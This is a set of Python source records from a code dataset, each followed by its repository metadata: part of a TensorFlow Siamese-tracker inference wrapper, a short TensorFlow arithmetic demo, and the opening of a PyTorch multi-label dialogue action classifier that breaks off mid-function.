sorted(var_to_shape_map):\n result_dict[key] = reader.get_tensor(key)\n except Exception as e:\n print(str(e))\n return result_dict\n\nclass InferenceWrapper():\n \"\"\"Model wrapper class for performing inference with a siamese model.\"\"\"\n\n def __init__(self):\n self.image = None\n self.target_bbox_feed = None\n self.search_images = None\n self.embeds = None\n self.templates = None\n self.init = None\n self.model_config = None\n self.track_config = None\n self.response_up = None\n\n def build_graph_from_config(self, model_config, track_config, checkpoint_path):\n \"\"\"Build the inference graph and return a restore function.\"\"\"\n self.build_model(model_config, track_config)\n ema = tf.train.ExponentialMovingAverage(0)\n variables_to_restore = ema.variables_to_restore(moving_avg_variables=[])\n\n # Filter out State variables\n variables_to_restore_filterd_siamfc = {}\n variables_to_restore_filterd_alex = {}\n for key, value in variables_to_restore.items():\n if key.split('/')[1] != 'State':\n if \"_a_\" in key:\n continue\n if \"alex_branch\" in key:\n continue\n logging.info(key)\n print(key)\n variables_to_restore_filterd_siamfc[key] = value\n \n for key, value in variables_to_restore.items():\n if key.split('/')[1] != 'State':\n if \"vgg16_branch\" in key:\n continue\n if \"convolutional_alexnet\" in key:\n continue\n if \"_s_\" in key:\n continue\n if \"siamfc_branch_se\" in key:\n continue\n if \"alex_branch/conv1W\" in key:\n continue\n if \"alex_branch/conv1b\" in key:\n continue\n if \"alex_branch/conv2W\" in key:\n continue\n if \"alex_branch/conv2b\" in key:\n continue\n if \"alex_branch/conv3W\" in key:\n continue\n if \"alex_branch/conv3b\" in key:\n continue\n if \"alex_branch/conv4W\" in key:\n continue\n if \"alex_branch/conv4b\" in key:\n continue\n if \"alex_branch/conv5W\" in key:\n continue\n if \"alex_branch/conv5b\" in key:\n continue\n if \"alex_branch_1/conv1W\" in key:\n continue\n if \"alex_branch_1/conv1b\" in key:\n continue\n if \"alex_branch_1/conv2W\" in key:\n continue\n if \"alex_branch_1/conv2b\" in key:\n continue\n if \"alex_branch_1/conv3W\" in key:\n continue\n if \"alex_branch_1/conv3b\" in key:\n continue\n if \"alex_branch_1/conv4W\" in key:\n continue\n if \"alex_branch_1/conv4b\" in key:\n continue\n if \"alex_branch_1/conv5W\" in key:\n continue\n if \"alex_branch_1/conv5b\" in key:\n continue\n# =============================================================================\n# if 'detection/biases_c3' in key:\n# continue\n# if 'detection/biases_c4' in key:\n# continue\n# if 'detection/biases_c5' in key:\n# continue\n# if 'detection/weight_c3' in key:\n# continue\n# if 'detection/weight_c4' in key:\n# continue\n# if 'detection/weight_c5' in key:\n# continue\n# =============================================================================\n \n logging.info(key)\n print(key)\n variables_to_restore_filterd_alex[key] = value\n \n saver_alex = None\n saver_siamfc = None\n if variables_to_restore_filterd_alex=={}:\n saver_alex = None\n else:\n saver_alex = tf.train.Saver(variables_to_restore_filterd_alex)\n if variables_to_restore_filterd_siamfc=={}:\n saver_siamfc = None\n else:\n saver_siamfc = tf.train.Saver(variables_to_restore_filterd_siamfc)\n\n checkpoint_path_alex = \"/home/travail/dev/GitRepo/MFST/Logs/SiamFC/track_model_checkpoints/alex_se/model.ckpt-332499\"\n checkpoint_path_siamfc = \"/home/travail/dev/GitRepo/MFST/Logs/SiamFC/track_model_checkpoints/siamfc_se/model.ckpt-332499\"\n# =============================================================================\n# checkpoint_path_siamfc = \"/home/travail/dev/GitRepo/MFST/Logs/SiamFC/track_model_checkpoints/SiamFC-3s-color-pretrained/model.ckpt-0\"\n# =============================================================================\n\n# =============================================================================\n# if osp.isdir(checkpoint_path):\n# checkpoint_path = tf.train.latest_checkpoint(checkpoint_path)\n# if not checkpoint_path:\n# raise ValueError(\"No checkpoint file found in: {}\".format(checkpoint_path))\n# =============================================================================\n\n def _restore_fn(sess):\n logging.info(\"Loading model from checkpoint: %s\", checkpoint_path_alex)\n if saver_alex==None:\n logging.info(\"Alex No restore,,,,,\")\n else:\n logging.info(\"Alex Restore,,,,,\")\n saver_alex.restore(sess, checkpoint_path_alex)\n logging.info(\"Successfully loaded checkpoint: %s\", os.path.basename(checkpoint_path_alex))\n \n logging.info(\"Loading model from checkpoint: %s\", checkpoint_path_siamfc)\n if saver_siamfc==None:\n logging.info(\"SiamFC No restore,,,,,\")\n else:\n logging.info(\"SiamFC Restore,,,,,\")\n saver_siamfc.restore(sess, checkpoint_path_siamfc)\n logging.info(\"Successfully loaded checkpoint: %s\", os.path.basename(checkpoint_path_siamfc))\n\n return _restore_fn\n\n def build_model(self, model_config, track_config):\n self.model_config = model_config\n self.track_config = track_config\n\n self.build_inputs()\n self.build_search_images()\n self.build_template()\n self.build_detection()\n self.build_upsample()\n self.dumb_op = tf.no_op('dumb_operation')\n\n def build_inputs(self):\n filename = tf.placeholder(tf.string, [], name='filename')\n image_file = tf.read_file(filename)\n image = tf.image.decode_jpeg(image_file, channels=3, dct_method=\"INTEGER_ACCURATE\")\n image = tf.to_float(image)\n self.image = image\n self.target_bbox_feed = tf.placeholder(dtype=tf.float32,\n shape=[4],\n name='target_bbox_feed') # center's y, x, height, width\n\n def build_search_images(self):\n \"\"\"Crop search images from the input image based on the last target position\n\n 1. The input image is scaled such that the area of target&context takes up to (scale_factor * z_image_size) ^ 2\n 2. Crop an image patch as large as x_image_size centered at the target center.\n 3. If the cropped image region is beyond the boundary of the input image, mean values are padded.\n \"\"\"\n model_config = self.model_config\n track_config = self.track_config\n\n size_z = model_config['z_image_size']\n size_x = track_config['x_image_size']\n context_amount = 0.5\n\n num_scales = track_config['num_scales']\n scales = np.arange(num_scales) - get_center(num_scales)\n assert np.sum(scales) == 0, 'scales should be symmetric'\n search_factors = [track_config['scale_step'] ** x for x in scales]\n\n frame_sz = tf.shape(self.image)\n target_yx = self.target_bbox_feed[0:2]\n target_size = self.target_bbox_feed[2:4]\n avg_chan = tf.reduce_mean(self.image, axis=(0, 1), name='avg_chan')\n\n # Compute base values\n base_z_size = target_size\n base_z_context_size = base_z_size + context_amount * tf.reduce_sum(base_z_size)\n base_s_z = tf.sqrt(tf.reduce_prod(base_z_context_size)) # Canonical size\n base_scale_z = tf.div(tf.to_float(size_z), base_s_z)\n d_search = (size_x - size_z) / 2.0\n base_pad = tf.div(d_search, base_scale_z)\n base_s_x = base_s_z + 2 * base_pad\n base_scale_x = tf.div(tf.to_float(size_x), base_s_x)\n\n boxes = []\n for factor in search_factors:\n s_x = factor * base_s_x\n frame_sz_1 = tf.to_float(frame_sz[0:2] - 1)\n topleft = tf.div(target_yx - get_center(s_x), frame_sz_1)\n bottomright = tf.div(target_yx + get_center(s_x), frame_sz_1)\n box = tf.concat([topleft, bottomright], axis=0)\n boxes.append(box)\n boxes = tf.stack(boxes)\n\n scale_xs = []\n for factor in search_factors:\n scale_x = base_scale_x / factor\n scale_xs.append(scale_x)\n self.scale_xs = tf.stack(scale_xs)\n\n # Note we use different padding values for each image\n # while the original implementation uses only the average value\n # of the first image for all images.\n image_minus_avg = tf.expand_dims(self.image - avg_chan, 0)\n image_cropped = tf.image.crop_and_resize(image_minus_avg, boxes,\n box_ind=tf.zeros((track_config['num_scales']), tf.int32),\n crop_size=[size_x, size_x])\n self.search_images = image_cropped + avg_chan\n\n def get_image_embedding(self, images, reuse=None):\n config = self.model_config['embed_config']\n arg_scope = convolutional_alexnet_arg_scope(config,\n trainable=config['train_embedding'],\n is_training=False)\n\n @functools.wraps(convolutional_alexnet)\n def embedding_fn(images, reuse=False):\n with slim.arg_scope(arg_scope):\n return convolutional_alexnet(images, reuse=reuse)\n\n embed_s_c5, embed_s_c4, embed_s_c3, _ = embedding_fn(images, reuse)\n embed_a_c5, embed_a_c4, embed_a_c3 = embed_alexnet(images)\n# =============================================================================\n# embed_v_43, embed_v_42, embed_v_41 = embed_vgg16(images)\n# =============================================================================\n\n# =============================================================================\n# return embed_v_43, embed_v_42, embed_v_41\n# =============================================================================\n# =============================================================================\n# return embed_a_c5, embed_a_c4, embed_a_c3 \n# =============================================================================\n# =============================================================================\n# return embed_s_c5, embed_s_c4, embed_s_c3\n# =============================================================================\n return embed_s_c5, embed_s_c4, embed_s_c3, embed_a_c5, embed_a_c4, embed_a_c3\n\n def build_template(self):\n model_config = self.model_config\n track_config = self.track_config\n\n # Exemplar image lies at the center of the search image in the first frame\n exemplar_images = get_exemplar_images(self.search_images, [model_config['z_image_size'],\n model_config['z_image_size']])\n templates_s_c5, templates_s_c4, templates_s_c3, templates_a_c5, templates_a_c4, templates_a_c3 = self.get_image_embedding(exemplar_images)\n# =============================================================================\n# templates_s_c5, templates_s_c4, templates_s_c3 = self.get_image_embedding(exemplar_images)\n# =============================================================================\n# =============================================================================\n# templates_a_c5, templates_a_c4, templates_a_c3 = self.get_image_embedding(exemplar_images)\n# =============================================================================\n center_scale = int(get_center(track_config['num_scales']))\n \n center_template_s_c5 = tf.identity(templates_s_c5[center_scale])\n center_template_s_c4 = tf.identity(templates_s_c4[center_scale])\n center_template_s_c3 = tf.identity(templates_s_c3[center_scale])\n templates_s_c5 = tf.stack([center_template_s_c5 for _ in range(track_config['num_scales'])])\n templates_s_c4 = tf.stack([center_template_s_c4 for _ in range(track_config['num_scales'])])\n templates_s_c3 = tf.stack([center_template_s_c3 for _ in range(track_config['num_scales'])])\n \n center_template_a_c5 = tf.identity(templates_a_c5[center_scale])\n center_template_a_c4 = tf.identity(templates_a_c4[center_scale])\n center_template_a_c3 = tf.identity(templates_a_c3[center_scale])\n templates_a_c5 = tf.stack([center_template_a_c5 for _ in range(track_config['num_scales'])])\n templates_a_c4 = tf.stack([center_template_a_c4 for _ in range(track_config['num_scales'])])\n templates_a_c3 = tf.stack([center_template_a_c3 for _ in range(track_config['num_scales'])])\n\n with tf.variable_scope('target_template'):\n # Store template in Variable such that we don't have to feed this template every time.\n with tf.variable_scope('State'):\n state_s_c5 = tf.get_variable('exemplar_s_c5',\n initializer=tf.zeros(templates_s_c5.get_shape().as_list(), dtype=templates_s_c5.dtype),\n trainable=False)\n state_s_c4 = tf.get_variable('exemplar_s_c4',\n initializer=tf.zeros(templates_s_c4.get_shape().as_list(), dtype=templates_s_c4.dtype),\n trainable=False)\n state_s_c3 = tf.get_variable('exemplar_s_c3',\n initializer=tf.zeros(templates_s_c3.get_shape().as_list(), dtype=templates_s_c3.dtype),\n trainable=False)\n \n state_a_c5 = tf.get_variable('exemplar_a_c5',\n initializer=tf.zeros(templates_a_c5.get_shape().as_list(), dtype=templates_a_c5.dtype),\n trainable=False)\n state_a_c4 = tf.get_variable('exemplar_a_c4',\n initializer=tf.zeros(templates_a_c4.get_shape().as_list(), dtype=templates_a_c4.dtype),\n trainable=False)\n state_a_c3 = tf.get_variable('exemplar_a_c3',\n initializer=tf.zeros(templates_a_c3.get_shape().as_list(), dtype=templates_a_c3.dtype),\n trainable=False)\n\n with tf.control_dependencies([templates_s_c5]):\n self.init_s_c5 = tf.assign(state_s_c5, templates_s_c5, validate_shape=True)\n with tf.control_dependencies([templates_s_c4]):\n self.init_s_c4 = tf.assign(state_s_c4, templates_s_c4, validate_shape=True)\n with tf.control_dependencies([templates_s_c3]):\n self.init_s_c3 = tf.assign(state_s_c3, templates_s_c3, validate_shape=True)\n \n with tf.control_dependencies([templates_a_c5]):\n self.init_a_c5 = tf.assign(state_a_c5, templates_a_c5, validate_shape=True)\n with tf.control_dependencies([templates_a_c4]):\n self.init_a_c4 = tf.assign(state_a_c4, templates_a_c4, validate_shape=True)\n with tf.control_dependencies([templates_a_c3]):\n self.init_a_c3 = tf.assign(state_a_c3, templates_a_c3, validate_shape=True)\n \n self.templates_s_c5 = state_s_c5\n self.templates_s_c4 = state_s_c4\n self.templates_s_c3 = state_s_c3\n \n self.templates_a_c5 = state_a_c5\n self.templates_a_c4 = state_a_c4\n self.templates_a_c3 = state_a_c3\n\n def build_detection(self):\n self.embeds_s_c5, self.embeds_s_c4, self.embeds_s_c3, self.embeds_a_c5, self.embeds_a_c4, self.embeds_a_c3 = self.get_image_embedding(self.search_images, reuse=True)\n# =============================================================================\n# self.embeds_s_c5, self.embeds_s_c4, self.embeds_s_c3 = self.get_image_embedding(self.search_images, reuse=True)\n# =============================================================================\n# =============================================================================\n# self.embeds_a_c5, self.embeds_a_c4, self.embeds_a_c3 = self.get_image_embedding(self.search_images, reuse=True)\n# =============================================================================\n with tf.variable_scope('detection'):\n def _translation_match(x, z):\n x = tf.expand_dims(x, 0) # [batch, in_height, in_width, in_channels]\n z = tf.expand_dims(z, -1) # [filter_height, filter_width, in_channels, out_channels]\n return tf.nn.conv2d(x, z, strides=[1, 1, 1, 1], padding='VALID', name='translation_match')\n\n output_s_c5 = tf.map_fn(\n lambda x: _translation_match(x[0], x[1]),\n (self.embeds_s_c5, self.templates_s_c5), dtype=self.embeds_s_c5.dtype) # of shape [16, 1, 17, 17, 1]\n output_s_c4 = tf.map_fn(\n lambda x: _translation_match(x[0], x[1]),\n (self.embeds_s_c4, self.templates_s_c4), dtype=self.embeds_s_c4.dtype) # of shape [16, 1, 17, 17, 1]\n output_s_c3 = tf.map_fn(\n lambda x: _translation_match(x[0], x[1]),\n (self.embeds_s_c3, self.templates_s_c3), dtype=self.embeds_s_c3.dtype) # of shape [16, 1, 17, 17, 1]\n \n output_a_c5 = tf.map_fn(\n lambda x: _translation_match(x[0], x[1]),\n (self.embeds_a_c5, self.templates_a_c5), dtype=self.embeds_a_c5.dtype) # of shape [16, 1, 17, 17, 1]\n output_a_c4 = tf.map_fn(\n lambda x: _translation_match(x[0], x[1]),\n (self.embeds_a_c4, self.templates_a_c4), dtype=self.embeds_a_c5.dtype) # of shape [16, 1, 17, 17, 1]\n output_a_c3 = tf.map_fn(\n lambda x: _translation_match(x[0], x[1]),\n (self.embeds_a_c3, self.templates_a_c3), dtype=self.embeds_a_c5.dtype) # of shape [16, 1, 17, 17, 1]\n \n output_s_c5 = tf.squeeze(output_s_c5, [1, 4]) # of shape e.g. [16, 17, 17]\n output_s_c4 = tf.squeeze(output_s_c4, [1, 4]) # of shape e.g. [16, 17, 17]\n output_s_c3 = tf.squeeze(output_s_c3, [1, 4]) # of shape e.g. [16, 17, 17]\n \n output_a_c5 = tf.squeeze(output_a_c5, [1, 4]) # of shape e.g. [16, 17, 17]\n output_a_c4 = tf.squeeze(output_a_c4, [1, 4]) # of shape e.g. [16, 17, 17]\n output_a_c3 = tf.squeeze(output_a_c3, [1, 4]) # of shape e.g. [16, 17, 17]\n \n ## for siamfc_se model\n bias_s_c5 = tf.get_variable('biases_s_c5', [1],\n dtype=tf.float32,\n initializer=tf.constant_initializer(0.0, dtype=tf.float32),\n trainable=False)\n bias_s_c4 = tf.get_variable('biases_s_c4', [1],\n dtype=tf.float32,\n initializer=tf.constant_initializer(0.0, dtype=tf.float32),\n trainable=False)\n bias_s_c3 = tf.get_variable('biases_s_c3', [1],\n dtype=tf.float32,\n initializer=tf.constant_initializer(0.0, dtype=tf.float32),\n trainable=False)\n response_s_c5 = self.model_config['adjust_response_config']['scale'] * output_s_c5 + bias_s_c5\n response_s_c4 = self.model_config['adjust_response_config']['scale'] * output_s_c4 + bias_s_c4\n response_s_c3 = self.model_config['adjust_response_config']['scale'] * output_s_c3 + bias_s_c3\n\n# =============================================================================\n# bias_s = tf.get_variable(\"biases\", [1],\n# dtype=tf.float32,\n# initializer=tf.constant_initializer(0.0, dtype=tf.float32),\n# trainable=False)\n# response_s_c5 = self.model_config['adjust_response_config']['scale'] * output_s_c5 + bias_s\n# response_s_c4 = self.model_config['adjust_response_config']['scale'] * output_s_c4 + bias_s\n# response_s_c3 = self.model_config['adjust_response_config']['scale'] * output_s_c3 + bias_s\n# =============================================================================\n \n\n\n ## for alex_se model\n bias_c5 = tf.get_variable('biases_a_c5', [1],\n dtype=tf.float32,\n #initializer=tf.constant_initializer(ALEX_DICT['detection/biases_c5']),\n initializer=tf.constant_initializer(0.0, dtype=tf.float32),\n trainable=False)\n bias_c4 = tf.get_variable('biases_a_c4', [1],\n dtype=tf.float32,\n #initializer=tf.constant_initializer(ALEX_DICT['detection/biases_c4']),\n initializer=tf.constant_initializer(0.0, dtype=tf.float32),\n trainable=False)\n bias_c3 = tf.get_variable('biases_a_c3', [1],\n dtype=tf.float32,\n #initializer=tf.constant_initializer(ALEX_DICT['detection/biases_c3']),\n initializer=tf.constant_initializer(0.0, dtype=tf.float32),\n trainable=False)\n response_a_c5 = 1e-3 * output_a_c5 + bias_c5\n response_a_c4 = 1e-4 * output_a_c4 + bias_c4\n response_a_c3 = 1e-5 * output_a_c3 + bias_c3\n \n# =============================================================================\n# response_a_c5 = self.model_config['adjust_response_config']['scale'] * output_a_c5 -4.52620411# + bias_c5\n# response_a_c4 = self.model_config['adjust_response_config']['scale'] * output_a_c4 -0.03678114#+ bias_c4\n# response_a_c3 = self.model_config['adjust_response_config']['scale'] * output_a_c3 -0.49341503#+ bias_c3\n# =============================================================================\n# =============================================================================\n# response_a_c5 = 1e-4 * output_a_c5 + bias_c5\n# response_a_c4 = 1e-5 * output_a_c4 + bias_c4\n# response_a_c3 = 1e-5 * output_a_c3 + bias_c3\n# =============================================================================\n \n # weight maps for response from each layer\n# =============================================================================\n# response_size = response_a_c5.get_shape().as_list()[1:3]\n# map_c5 = tf.get_variable('map_c5', response_size,\n# dtype=tf.float32,\n# initializer=tf.constant_initializer(0.5, dtype=tf.float32),\n# trainable=True)\n# map_c4 = tf.get_variable('map_c4', response_size,\n# dtype=tf.float32,\n# initializer=tf.constant_initializer(0.5, dtype=tf.float32),\n# trainable=True)\n# map_c3 = tf.get_variable('map_c3', response_size,\n# dtype=tf.float32,\n# initializer=tf.constant_initializer(0.5, dtype=tf.float32),\n# trainable=True)\n# =============================================================================\n# =============================================================================\n# self.weight_s_c5 = tf.get_variable('weight_s_c5', [1],\n# dtype=tf.float32,\n# initializer=tf.constant_initializer(0.5, dtype=tf.float32),\n# trainable=False)\n# self.weight_s_c4 = tf.get_variable('weight_s_c4', [1],\n# dtype=tf.float32,\n# initializer=tf.constant_initializer(0.5, dtype=tf.float32),\n# trainable=False)\n# self.weight_s_c3 = tf.get_variable('weight_s_c3', [1],\n# dtype=tf.float32,\n# initializer=tf.constant_initializer(0.5, dtype=tf.float32),\n# trainable=False)\n# =============================================================================\n# =============================================================================\n# self.weight_c5 = tf.get_variable('weight_a_c5', [1],\n# dtype=tf.float32,\n# #initializer=tf.constant_initializer(ALEX_DICT['detection/weight_c5']),\n# initializer=tf.constant_initializer(0.5, dtype=tf.float32),\n# trainable=False)\n# self.weight_c4 = tf.get_variable('weight_a_c4', [1],\n# dtype=tf.float32,\n# #initializer=tf.constant_initializer(ALEX_DICT['detection/weight_c4']),\n# initializer=tf.constant_initializer(0.5, dtype=tf.float32),\n# trainable=False)\n# self.weight_c3 = tf.get_variable('weight_a_c3', [1],\n# dtype=tf.float32,\n# #initializer=tf.constant_initializer(ALEX_DICT['detection/weight_c3']),\n# initializer=tf.constant_initializer(0.5, dtype=tf.float32),\n# trainable=False)\n# =============================================================================\n# =============================================================================\n# response_s_c5 = tf.multiply(response_s_c5, self.weight_s_c5)\n# response_s_c4 = tf.multiply(response_s_c4, self.weight_s_c4)\n# response_s_c3 = tf.multiply(response_s_c3, self.weight_s_c3)\n# =============================================================================\n# =============================================================================\n# response_a_c5 = tf.multiply(response_a_c5, self.weight_c5)\n# response_a_c4 = tf.multiply(response_a_c4, self.weight_c4)\n# response_a_c3 = tf.multiply(response_a_c3, self.weight_c3)\n# =============================================================================\n# =============================================================================\n# self.response_s = 0.6*response_s_c5+0.3*response_s_c4+0.1*response_s_c3\n# =============================================================================\n# =============================================================================\n# self.response_a = 0.6*response_a_c5+0.3*response_a_c4+0.1*response_a_c3\n# =============================================================================\n self.response_a_c5 = response_a_c5\n self.response_a_c4 = response_a_c4\n self.response_a_c3 = response_a_c3\n \n self.response_s_c5 = response_s_c5\n self.response_s_c4 = response_s_c4\n self.response_s_c3 = response_s_c3\n \n \n\n def build_upsample(self):\n \"\"\"Upsample response to obtain finer target position\"\"\"\n with tf.variable_scope('upsample'):\n response_s_c5 = tf.expand_dims(self.response_s_c5, 3)\n response_s_c4 = tf.expand_dims(self.response_s_c4, 3)\n response_s_c3 = tf.expand_dims(self.response_s_c3, 3)\n \n response_a_c5 = tf.expand_dims(self.response_a_c5, 3)\n response_a_c4 = tf.expand_dims(self.response_a_c4, 3)\n response_a_c3 = tf.expand_dims(self.response_a_c3, 3)\n \n up_method = self.track_config['upsample_method']\n methods = {'bilinear': tf.image.ResizeMethod.BILINEAR,\n 'bicubic': tf.image.ResizeMethod.BICUBIC}\n up_method = methods[up_method]\n response_spatial_size = self.response_s_c5.get_shape().as_list()[1:3]\n up_size = [s * self.track_config['upsample_factor'] for s in response_spatial_size]\n print(up_size)\n response_up_s_c5 = tf.image.resize_images(response_s_c5,\n up_size,\n method=up_method,\n align_corners=True)\n response_up_s_c4 = tf.image.resize_images(response_s_c4,\n up_size,\n method=up_method,\n align_corners=True)\n response_up_s_c3 = tf.image.resize_images(response_s_c3,\n up_size,\n method=up_method,\n align_corners=True)\n \n response_up_a_c5 = tf.image.resize_images(response_a_c5,\n up_size,\n method=up_method,\n align_corners=True)\n response_up_a_c4 = tf.image.resize_images(response_a_c4,\n up_size,\n method=up_method,\n align_corners=True)\n response_up_a_c3 = tf.image.resize_images(response_a_c3,\n up_size,\n method=up_method,\n align_corners=True)\n response_up_s_c5 = tf.squeeze(response_up_s_c5, [3])\n response_up_s_c4 = tf.squeeze(response_up_s_c4, [3])\n response_up_s_c3 = tf.squeeze(response_up_s_c3, [3])\n self.response_up_s_c5 = response_up_s_c5\n self.response_up_s_c4 = response_up_s_c4\n self.response_up_s_c3 = response_up_s_c3\n \n response_up_a_c5 = tf.squeeze(response_up_a_c5, [3])\n response_up_a_c4 = tf.squeeze(response_up_a_c4, [3])\n response_up_a_c3 = tf.squeeze(response_up_a_c3, [3])\n self.response_up_a_c5 = response_up_a_c5\n self.response_up_a_c4 = response_up_a_c4\n self.response_up_a_c3 = response_up_a_c3\n \n\n def initialize(self, sess, input_feed):\n image_path, target_bbox = input_feed\n# =============================================================================\n# scale_xs, _, _, _ = sess.run([self.scale_xs, self.init_s_c5, self.init_s_c4, self.init_s_c3],\n# feed_dict={'filename:0': image_path,\n# \"target_bbox_feed:0\": target_bbox, })\n# =============================================================================\n scale_xs, _, _, _, _, _, _ = sess.run([self.scale_xs, self.init_s_c5, self.init_s_c4, self.init_s_c3, self.init_a_c5, self.init_a_c4, self.init_a_c3],\n feed_dict={'filename:0': image_path,\n \"target_bbox_feed:0\": target_bbox, })\n return scale_xs\n\n def inference_step(self, sess, input_feed):\n image_path, target_bbox = input_feed\n log_level = self.track_config['log_level']\n image_cropped_op = self.search_images if log_level > 0 else self.dumb_op\n image_cropped, scale_xs, response_output_a_c5, response_output_a_c4, response_output_a_c3, response_output_s_c5, response_output_s_c4, response_output_s_c3 = sess.run(\n fetches=[image_cropped_op, self.scale_xs, \\\n self.response_up_a_c5, self.response_up_a_c4, self.response_up_a_c3, \\\n self.response_up_s_c5, self.response_up_s_c4, self.response_up_s_c3\n ],\n feed_dict={\n \"filename:0\": image_path,\n \"target_bbox_feed:0\": target_bbox, })\n# =============================================================================\n# image_cropped, scale_xs, response_output_s_c5, response_output_s_c4, response_output_s_c3 = sess.run(\n# fetches=[image_cropped_op, self.scale_xs, \\\n# self.response_up_s_c5, self.response_up_s_c4, self.response_up_s_c3\n# ],\n# feed_dict={\n# \"filename:0\": image_path,\n# \"target_bbox_feed:0\": target_bbox, })\n# =============================================================================\n# =============================================================================\n# image_cropped, scale_xs, response_output_a_c5, response_output_a_c4, response_output_a_c3 = sess.run(\n# fetches=[image_cropped_op, self.scale_xs, \\\n# self.response_up_a_c5, self.response_up_a_c4, self.response_up_a_c3\n# ],\n# feed_dict={\n# \"filename:0\": image_path,\n# \"target_bbox_feed:0\": target_bbox, })\n# =============================================================================\n\n output = {\n 'image_cropped': image_cropped,\n 'scale_xs': scale_xs,\n 'response_s_c5': response_output_s_c5,\n 'response_s_c4': response_output_s_c4,\n 'response_s_c3': response_output_s_c3,\n 'response_a_c5': response_output_a_c5,\n 'response_a_c4': response_output_a_c4,\n 'response_a_c3': response_output_a_c3\n }\n return output, None\n","repo_name":"zhenxili96/MFST","sub_path":"Code/inference/inference_wrapper.py","file_name":"inference_wrapper.py","file_ext":"py","file_size_in_byte":33287,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"33378509415","text":"import tensorflow as tf\nprint('Loaded TF Version:', tf.__version__,'\\n')\n\n'''\nTF四则运算的实战\n'''\n\ndef basic_operation():\n V1 = tf.Variable(8)\n V2 = tf.Variable(4)\n addv = V1 + V2\n print(addv)\n\n sess = tf.Session()\n tf.global_variables_initializer().run(session=sess)\n print('V1 + V2 = ', addv.eval(session=sess))\n#\n graph = tf.Graph()\n with graph.as_default():\n a = tf.constant([5,8])\n b = tf.constant([2,4])\n mul = a * b\n with tf.Session(graph=graph) as mySess:\n tf.global_variables_initializer().run()\n print('a * b = ',mySess.run(mul))\n #\n# #\n #Placeholder\n graph = tf.Graph()\n with graph.as_default():\n a = tf.placeholder(dtype=tf.float32)\n b = tf.Variable([2,3],dtype=tf.float32)\n mul = a * b\n\n with tf.Session(graph=graph) as mySess:\n tf.global_variables_initializer().run()\n value = load_from_remote()\n#\n for partialvalue in load_partial(value,2):\n runResult = mySess.run(mul,feed_dict={a:partialvalue})\n print('a * b = ', runResult)\n#\n#\n#\ndef load_from_remote():\n return [-x for x in range(1000)] # 0, -1, -2, -3, ...., -999\n#\ndef load_partial(value, step):\n index = 0\n while index < len(value):\n yield value[index:index+step]\n index +=step\n return\n#\n# '''\n# 第一次取出的值是多少? P1 = value[0:2] = [0,-1] b = [2,3] P1 * b =[0,-3]\n# 第二次 p2 = value[2:4] = [-2,-3] b = [2,3] P2 * b =[-4,-9]\n# ......\n#\n# '''\n\n\n\n\n\nif __name__ == \"__main__\":\n basic_operation()","repo_name":"XuweiyiChen/Pedestrian_vehicles","sub_path":"experiments/Operation.py","file_name":"Operation.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"9079473020","text":"import torch\r\nimport torch.nn as nn\r\nDEVICE = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n\r\n\r\ndef gumbel_sigmoid_sample(logits, temperature, eps=1e-20):\r\n uniform1 = torch.rand(logits.size()).to(DEVICE)\r\n uniform2 = torch.rand(logits.size()).to(DEVICE)\r\n noise = -torch.log(torch.log(uniform2 + eps)/torch.log(uniform1 + eps) + eps)\r\n y = logits + noise\r\n return torch.sigmoid(y / temperature)\r\n\r\n\r\nclass DiaMultiClass(nn.Module):\r\n def __init__(self, args, cfg):\r\n super(DiaMultiClass, self).__init__()\r\n self.args = args\r\n self.cfg = cfg\r\n self.dropout = nn.Dropout(p=args.dropout)\r\n self.a_dim = cfg.a_dim\r\n\r\n self.net = nn.Sequential(nn.Linear(cfg.s_dim, cfg.h_dim),\r\n nn.ReLU(),\r\n nn.Linear(cfg.h_dim, cfg.h_dim),\r\n nn.ReLU(),\r\n nn.Linear(cfg.h_dim, cfg.a_dim))\r\n\r\n self.reset_param()\r\n self.loss = nn.BCEWithLogitsLoss()\r\n\r\n def reset_param(self):\r\n for part in [self.net]:\r\n for param in part.parameters():\r\n if param.dim() > 1:\r\n nn.init.xavier_normal_(param)\r\n else:\r\n nn.init.zeros_(param)\r\n\r\n def select_action(self, s):\r\n if self.args.gumbel:\r\n return gumbel_sigmoid_sample(self.net(s), 0.001).gt(0)\r\n else:\r\n return torch.sigmoid(self.net(s)).gt(0.5)\r\n\r\n def forward(self, s, a_target_gold, beta, s_target_gold=None, s_target_pos=None, train_type='train',\r\n a_target_seq=None, a_target_full=None, a_target_pos=None):\r\n \"\"\"\r\n :param s_target_pos:\r\n :param s_target_gold: b * h_s where h_s is all 0 if not available\r\n :param curriculum:\r\n :param beta: prob to use teacher forcing\r\n :param a_target_gold: [b, 20] [x, x, 171, x, x, x, 2, 0, 0, 0, 0, 0, 0]\r\n :param s: [b, s_dim]\r\n :return: hidden_state after several rollout\r\n \"\"\"\r\n # print(s.shape)\r\n mask_cols = torch.LongTensor(range(self.cfg.max_len)).repeat(s.shape[0], 1).to(DEVICE)\r\n if len(s_target_pos.shape) == 1:\r\n s_target_pos = s_target_pos.unsqueeze(1)\r\n mask_begin = s_target_pos.repeat(1, self.cfg.max_len).to(DEVICE)\r\n mask = mask_cols.lt(mask_begin).long()\r\n\r\n probs = self.net(s)\r\n proc_tgt_tsr = torch.zeros(s.shape[0], self.a_dim).to(DEVICE)\r\n\r\n for i in range(self.cfg.max_len):\r\n temp_act_onehot = torch.zeros(s.shape[0], self.a_dim).to(DEVICE)\r\n eval_a_sample = a_target_gold[:, i].long().unsqueeze(1)\r\n src_tsr = torch.ones_like(eval_a_sample).float().to(DEVICE)\r\n temp_act_onehot.scatter_(-1, eval_a_sample, src_tsr) # -- dim, index, val\r\n proc_tgt_tsr += temp_act_onehot * mask[:, i].unsqueeze(1)\r\n proc_tgt_tsr = proc_tgt_tsr.ge(1).float()\r\n\r\n loss_pred = self.loss(probs, proc_tgt_tsr)\r\n if self.args.gumbel:\r\n pred_act_tsr = gumbel_sigmoid_sample(probs, 0.001).gt(0)\r\n else:\r\n pred_act_tsr = torch.sigmoid(probs).ge(0.5)\r\n\r\n return torch.FloatTensor([0]).to(DEVICE), torch.zeros(s.shape[0], self.a_dim).to(DEVICE), \\\r\n loss_pred, pred_act_tsr, \\\r\n torch.FloatTensor([0]).to(DEVICE), torch.zeros_like(s).to(DEVICE), torch.FloatTensor([0]).to(DEVICE), \\\r\n torch.FloatTensor([0]).to(DEVICE), 